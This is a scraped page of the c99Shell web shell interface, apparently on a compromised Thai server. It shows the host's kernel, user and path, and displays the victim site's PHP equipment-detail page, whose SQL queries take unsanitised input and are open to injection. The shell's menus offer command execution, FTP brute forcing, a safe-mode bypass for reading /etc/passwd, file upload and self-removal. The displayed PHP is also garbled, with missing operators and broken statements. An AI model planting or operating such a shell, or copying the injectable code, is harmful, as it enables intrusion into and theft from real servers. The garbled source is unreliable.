!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Monny_depart/personal/Support/Accessories/   drwxr-xr-x
Free 48.08 GB of 127.8 GB (37.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AccDetail.php (6.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../../include/FunctionDB.php");
include(
"header.php");
ConnectDB();
 
$sql "Select * From accessories_tb Where code='$code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../css/cart3.css" type="text/css">
</head>

<body bgcolor="#FFFFFF" topmargin="0">
<table width="61%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE"  style="border:1px solid gray"size="12">
  <tr bgcolor="#CCCCFF"> 
    <td colspan="3"> <div align="center"><font color="#000000" size="4" face="Tahoma"><strong>แสดงรายละเอียด</strong></font></div></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td width="215" height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">รหัส</font></div></td>
    <td nowrap bordercolor="#DDF8D1"></td>
    <td nowrap bordercolor="#DDF8D1"><strong><font color="#000000" size="2" face="Tahoma"> 
      <?php
            
echo"$rs[Acc_code]";
      
?>
      </font></strong></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">ชื่ออุปกรณ์/ยี่ห้อ</font></div></td>
    <td nowrap bordercolor="#DDF8D1"></td>
    <td nowrap bordercolor="#DDF8D1" bgcolor="#eeeeee"> <strong><font color="#000000" size="2" face="Tahoma"> 
      <?php
            
echo"$rs[Acc_name]";
      
?>
</font></strong></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">ชนิด</font></div></td>
    <td nowrap bordercolor="#DDF8D1"></td>
    <td nowrap bordercolor="#DDF8D1"><font color="#000000" size="2" face="Tahoma"> 
    <?php
         $Acc_type_code 
=  $rs["Acc_type_code"];
         
$sql "Select * From accessories_type_tb Where Acc_type_code='$Acc_type_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Acc_type] $rss[Acc_Etype]";
         
?>
</font></td>
  </tr>
  <tr bgcolor="#eeeeee">
    <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">หลักสูตร</font></div></td>
    <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td  bordercolor="#DDF8D1"><font color="#000000" size="2" face="Tahoma">
      <?php
         $Course_code 
=  $rs["Course_code"];
         
$sql "Select * From course_tb Where Course_code='$Course_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Course_name]";
         
?>
    </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">ที่จัดเก็บ</font></div></td>
    <td width="17"  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td width="384"  bordercolor="#DDF8D1"> <font color="#000000" size="2" face="Tahoma"><? echo $rs[Store?></font><font color="#336600" size="2" face="Tahoma">&nbsp; 
      </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">ประวัติการซ่อม</font></div></td>
    <td width="17"  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td width="384" > <font color="#000000" size="2" face="Tahoma"> <? echo  nl2br($rs[Fix_History])?> 
      </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">บริษัท 
        Contact</font></div></td>
    <td width="17"  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td width="384"  bordercolor="#DDF8D1"><font color="#000000" size="2" face="Tahoma"><? echo  $rs[Contact]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; 
      </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20" > 
      <div align="center"><font size="2" face="Tahoma">ปี พ.ศ.ที่ซื้อ</font></div></td>
    <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td  bordercolor="#DDF8D1"><font color="#003366" size="2" face="Tahoma"> 
      <?php 
       $sday 
$rs[Date_buy];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
      </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">ราคา</font></div></td>
    <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td  bordercolor="#DDF8D1"><font color="#993333" size="2" face="Tahoma"><?echo number_format($rs['Price'],2,'.',','); ?></font><font color="#000000" size="2" face="Tahoma"> 
      บาท </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font color="#003366" size="2" face="Tahoma"> 
        </font><font size="2" face="Tahoma">งบประมาณการซ่อมแซม</font></div></td>
    <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td  bordercolor="#DDF8D1"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Fix_budget?> 
    บาท </font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20" nowrap bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">สถานะการใช้งาน</font></div></td>
    <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td  bordercolor="#DDF8D1"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Status?></font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20"  bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">สถิติการใช้งาน</font> 
      </div></td>
    <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td ><font color="#000000" size="2" face="Tahoma"><? echo $rs[Statistic?></font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="20" nowrap bordercolor="#D8D2A9"> 
      <div align="center"><font size="2" face="Tahoma">บันทึกซ่วยจำ</font></div></td>
    <td ><!--DWLayoutEmptyCell-->&nbsp;</td>
    <td bgcolor="#eeeeee" ><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Description]) ?></font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td height="22" colspan="3">      <table width="200" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <th scope="col"><?php
        
echo"<center>";
        echo
"<img src=\"$rs[Img1]\" width=\"300\" height=\"220\" >";
        echo
"</center>";
       
?></th>
        </tr>
      </table>      </td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0159 ]--